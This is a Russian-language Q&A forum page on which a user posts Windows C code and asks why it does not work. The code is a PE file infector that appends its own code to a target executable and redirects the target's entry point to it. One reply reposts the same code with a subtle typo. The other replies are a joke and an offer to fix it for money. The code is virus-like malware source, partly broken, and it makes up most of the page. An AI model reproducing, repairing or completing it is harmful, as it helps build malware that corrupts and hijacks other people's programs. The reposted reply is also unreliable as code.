Mail.ruПочтаМой МирОдноклассникиВКонтактеИгрыЗнакомстваНовостиКалендарьОблакоЗаметкиВсе проекты

Почему код плохо работает? Исправьте его пожалуйста.

Лев Таранов Ученик (89), открыт 1 неделю назад
#include <Windows.h>
#include <stdio.h>

void AppendSelfCode(HANDLE file) {
HMODULE hSelf = GetModuleHandle(NULL);
char selfPath[MAX_PATH];
GetModuleFileNameA(hSelf, selfPath, sizeof(selfPath));

HANDLE selfFile = CreateFileA(selfPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (selfFile == INVALID_HANDLE_VALUE) return;

DWORD selfSize = GetFileSize(selfFile, NULL);
char* selfBuf = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, selfSize);
DWORD bytesRead;

ReadFile(selfFile, selfBuf, selfSize, &bytesRead, NULL);

PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)selfBuf;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(selfBuf + dosHeader->e_lfanew);
DWORD codeSize = ntHeaders->OptionalHeader.SizeOfCode;
DWORD codeAddress = ntHeaders->OptionalHeader.BaseOfCode;

SetFilePointer(file, 0, NULL, FILE_END);
DWORD bytesWritten;
WriteFile(file, selfBuf + codeAddress, codeSize, &bytesWritten, NULL);

HeapFree(GetProcessHeap(), 0, selfBuf);
CloseHandle(selfFile);
}

int main(int argc, char** argv) {
if (argc < 2) {
printf("Usage: %s <file>\n", argv[0]);
return 1;
}

HANDLE file = CreateFileA(argv[1], GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (file == INVALID_HANDLE_VALUE) {
printf("Could not open file (%d).\n", GetLastError());
return 1;
}

DWORD fileSize = GetFileSize(file, NULL);
char* fileBuf = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize);
DWORD bytesRead;

ReadFile(file, fileBuf, fileSize, &bytesRead, NULL);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)fileBuf;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(fileBuf + dosHeader->e_lfanew);

AppendSelfCode(file);

DWORD newEntryPointOffset = fileSize;
ntHeaders->OptionalHeader.AddressOfEntryPoint = newEntryPointOffset;

SetFilePointer(file, 0, NULL, FILE_BEGIN);
WriteFile(file, fileBuf, fileSize, NULL, NULL);

HeapFree(GetProcessHeap(), 0, fileBuf);
CloseHandle(file);

puts("placeholder");
return 0;
}
проблема: после встраивания в PE32 executable файл, ошибок вроде не выскакивает, но после запуска файла, в который внедрился код ничего не происходит, при запуске из cmd он сразу закрывается.
3 ответа
Егор Парнас Знаток (288) 1 неделю назад
Ты таким кодос систему хакнешь
Егор Папа Ученик (183) 1 неделю назад
500 рублей на карту и все решаю
Аманжол Алашпаев Ученик (139) 1 неделю назад
#include <Windows.h>
#include <stdio.h>

void AppendSelfCode(HANDLE file) {
HMODULE hSelf = GetModuleHandle(NULL);
char selfPath[MAX_PATH];
GetModuleFileNameA(hSelf, selfPath, sizeof(selfPath));

HANDLE selfFile = CreateFileA(selfPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (selfFile == INVALID_HANDLE_VALUE) return;

DWORD selfSize = GetFileSize(selfFile, NULL);
char* selfBuf = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, selfSize);
DWORD bytesRead;

ReadFile(selfFile, selfBuf, selfSize, &bytesRead, NULL);

PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)selfBuf;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(selfBuf + dosHeader->e_lfanew);
DWORD codeSize = ntHeaders->OptionalHeader.SizeOfCode;
DWORD codeAddress = ntHeaders->OptionalHeader.BaseOfCode;

SetFilePointer(file, 0, NULL, FILE_END);
DWORD bytesWritten;
WriteFile(file, selfBuf + codeAddress, codeSize, &bytesWritten, NULL);

HeapFree(GetProcessHeap(), 0, selfBuf);
CloseHandle(selfFile);
}

int main(int argc, char** argv) {
if (argc < 2) {
printf("Usage: %s <file>\n", argv[0]);
return 1;
}

HANDLE file = CreateFileA(argv[1], GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (file == INVALID_HANDLE_VALUE) {
printf("Could not open file (%d).\n", GetLastError());
return 1;
}

DWORD fileSize = GetFileSize(file, NULL);
char* fileBuf = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize);
DWORD bytesRead;

ReadFile(file, fiIeBuf, fileSize, &bytesRead, NULL);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)fileBuf;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(fileBuf + dosHeader->e_lfanew);

AppendSelfCode(file);

DWORD newEntryPointOffset = fileSize;
ntHeaders->OptionalHeader.AddressOfEntryPoint = newEntryPointOffset;

SetFilePointer(file, 0, NULL, FILE_BEGIN);
WriteFile(file, fileBuf, fileSize, NULL, NULL);

HeapFree(GetProcessHeap(), 0, fileBuf);
CloseHandle(file);

puts("placeholder");
return 0;
}
Похожие вопросы